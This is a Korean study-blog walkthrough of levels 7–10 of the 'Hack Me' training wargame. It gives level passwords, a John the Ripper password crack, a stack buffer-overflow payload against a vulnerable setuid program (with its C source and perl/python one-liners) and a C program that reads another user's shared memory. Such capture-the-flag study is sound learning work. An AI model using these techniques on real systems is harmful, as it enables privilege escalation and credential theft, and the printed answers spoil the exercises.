일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | |||
5 | 6 | 7 | 8 | 9 | 10 | 11 |
12 | 13 | 14 | 15 | 16 | 17 | 18 |
19 | 20 | 21 | 22 | 23 | 24 | 25 |
26 | 27 | 28 | 29 | 30 | 31 |
- CustomScrollView
- android
- Coroutines
- 앱바
- ScrollView
- tabbar
- intent
- Button
- TEST
- livedata
- Navigation
- LifeCycle
- scroll
- Dialog
- 안드로이드
- appbar
- textfield
- viewmodel
- drift
- data
- 계측
- Flutter
- activity
- DART
- 앱
- Kotlin
- Compose
- textview
- 테스트
- binding
- Today
- Total
Study Record
[리버싱] Hack Me 풀이집2 (7단계 ~ 10단계) 본문
7단계 → 8단계
※ 7단계(level7) 패스워드 : "come together"
☞ 기초개념 - 진법 전환
https://laustudy.tistory.com/63
㉮ hint 를 본다.
# cat hint
㉯ /bin/level7 을 실행해봤다.
hint 를 생각해보면 2진수를 10진수로 바꿔야하고 패스워드는 가까운 곳에 있다고 했다.
㉰ "--_--_- --____- ---_-__ --__-_-" 가 "-"는 1 이고 "_" 는 0인 2진수 문자열이라고 생각해볼수도 있을 것 같다.
# man ascii
구분 | 표기 예 | 아스키문자열 |
2진수(Bin) | 1101101 1100001 1110100 1100101 | |
10진수(Dec) | 109 97 116 101 | mate |
16진수(Hex) | 6d 61 74 65 | mate |
㉱ /bin/level7 에 "mate" 를 한번 입력해본다.
level7 의 패스워드를 획득했다!
8단계 → 9단계
※ 8단계(level8) 패스워드 : "break the world"
☞ 기초개념 - 패스워드 크랙
https://laustudy.tistory.com/63
㉮ hint 를 본다.
# cat hint
㉯ 파일에 대해 알려진 것은 용량이 2700이라는 것 뿐이라고 했으니 용량이 2700인 파일을 찾아본다.
# find / -size 2700c -type f 2>/dev/null -ls
여기서 소유 그룹이 level8 인 /etc/rc.d/found.txt 파일이 수상해보인다.
㉰ /etc/rc.d/found.txt 파일을 열어보자. (sort -u : 중복 제거)
# cat /etc/rc.d/found.txt | sort -u
㉱ "John the ripper" 라는 패스워드 크랙 툴로 패스워크 크랙을 해보자.
# john password.txt --show
level9 의 패스워드가 나왔다.
9단계 → 10단계
※ 9단계(level9) 패스워드 : "apple"
☞ 기초개념 - 버퍼 오버플로우 (BOF)
https://laustudy.tistory.com/65
㉮ hint 를 본다.
# cat hint
㉯ fgets 함수에서 40자까지 입력받을 수 있지만 그 입력값을 저장하는 buf 배열은 10자까지 저장할 수 있다. 따라서 이 점을 이용하여 표준 입력을 통해 buf2 배열에 "go" 라는 단어를 입력하여 level10의 권한을 가진 쉘을 획득할 수 있을 것 같다. buf 와 buf2 사이의 빈 공간이 있을경우도 고려하여 공격해보자.
# /usr/bin/bof
AAAAAAAAAABBBBBBgo
level10 의 패스워드를 알아냈다!
+ /usr/bin/bof 와 같은 동작을 하는 bof.c 코드를 따로 작성해서 분석해보자.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
main()
{
char buf2[10];
char buf[10];
printf("It can be overflow : ");
fgets(buf, 40, stdin);
printf("buf2 : 0x%x\nbuf : 0x%x\n", &buf2, &buf);
if(strncmp(buf2, "go", 2) == 0)
{
printf("Good Skill!\n");
setreuid(3010, 3010);
system("/bin/bash");
}
}
gcc 명령어로 컴파일한 다음 buf2 배열과 buf 사이에는 16(0x10)만큼 떨어져있는 것이 보인다. 실제로 buf 배열의 크기는 10(0xa)인 것을 고려했을 때, 6 만큼의 빈 공간이 존재한다는 것을 볼 수 있다.
※ AAAAAAAAAAAAAAAgo 출력하기
# for i in `seq 1 16`; do printf "A"; done; printf "go\n"
# for i in `seq 1 16`; do printf "A"; done; printf "\x67\x6f\n"
# perl -e 'print "A"x16,"go\n"'
# ruby -e 'print "A"*16+"go\n"'
# python -c 'print "A"*16+"go"
10단계 → 11단계
※ 10단계(level10) 패스워드 : "interesting to hack!"
☞ 기초개념 - 공유 메모리
https://laustudy.tistory.com/67
㉮ hint 를 본다.
# cat hint
key_t 값이 7530인 공유 메모리에 두 사람의 대화가 남아있을 것 같다.
㉯ ipcs 명령어로 현재 공유 메모리 정보를 보자
# ipcs
key 값이 0x00001d6a(10진수 : 7530)인 공유 메모리가 존재한다.
+ 힌트가 될만한 파일을 찾아보자
# ls
program 이라는 디렉토리가 굉장히 수상하다. 파일의 내용 중에 /home/level10/program 을 포함하는 파일을 찾아보자
# find / -type f -exec grep -l '/home/level10/program' {} \; 2>/dev/null
여기서 /etc/rc.d/rc.local 은 부팅 시 로그인 창이 뜨기 직전 실행되는 파일이다. 이 파일을 출력해보자
# cat /etc/rc.d/rc.local
파일에 /home/level10/program/level10 파일을 실행하는 것으로 보인다.
㉰ 공유 메모리에 접근하는 프로그램을 만들어보자
# vi ~/tmp/attack_shm.c
#include <stdio.h>
#include <sys/shm.h>
#include <sys/types.h>
#define BUFFSIZE 1024
int main()
{
void *sMemory=(void *)0;
int sMemID;
char buf[BUFFSIZE];
key_t keyval=7530;
sMemID=shmget(keyval, BUFFSIZE, 0666);
sMemory=shmat(sMemID, (void *)0, 0);
memcpy(buf, sMemory, BUFFSIZE);
printf("%s", buf);
shmdt(sMemory);
return 0;
}
㉱ 공격 프로그램을 컴파일하고 실행해보자
# gcc -o attack_shm attack_shm.c
# ./attack_shm
level11 의 패스워드를 획득했다!
'리버싱 > Hack Me' 카테고리의 다른 글
[리버싱] Hack 풀이집 정리 (0) | 2021.11.22 |
---|---|
[리버싱] Hack Me 풀이집5 (15~19단계) (0) | 2021.11.19 |
[리버싱] Hack Me 풀이집4 (13,14단계) (0) | 2021.11.19 |
[리버싱] Hack Me 풀이집3 (11,12 단계) (0) | 2021.11.18 |
[리버싱] Hack Me 풀이집1 (1단계 ~ 6단계) (0) | 2021.11.15 |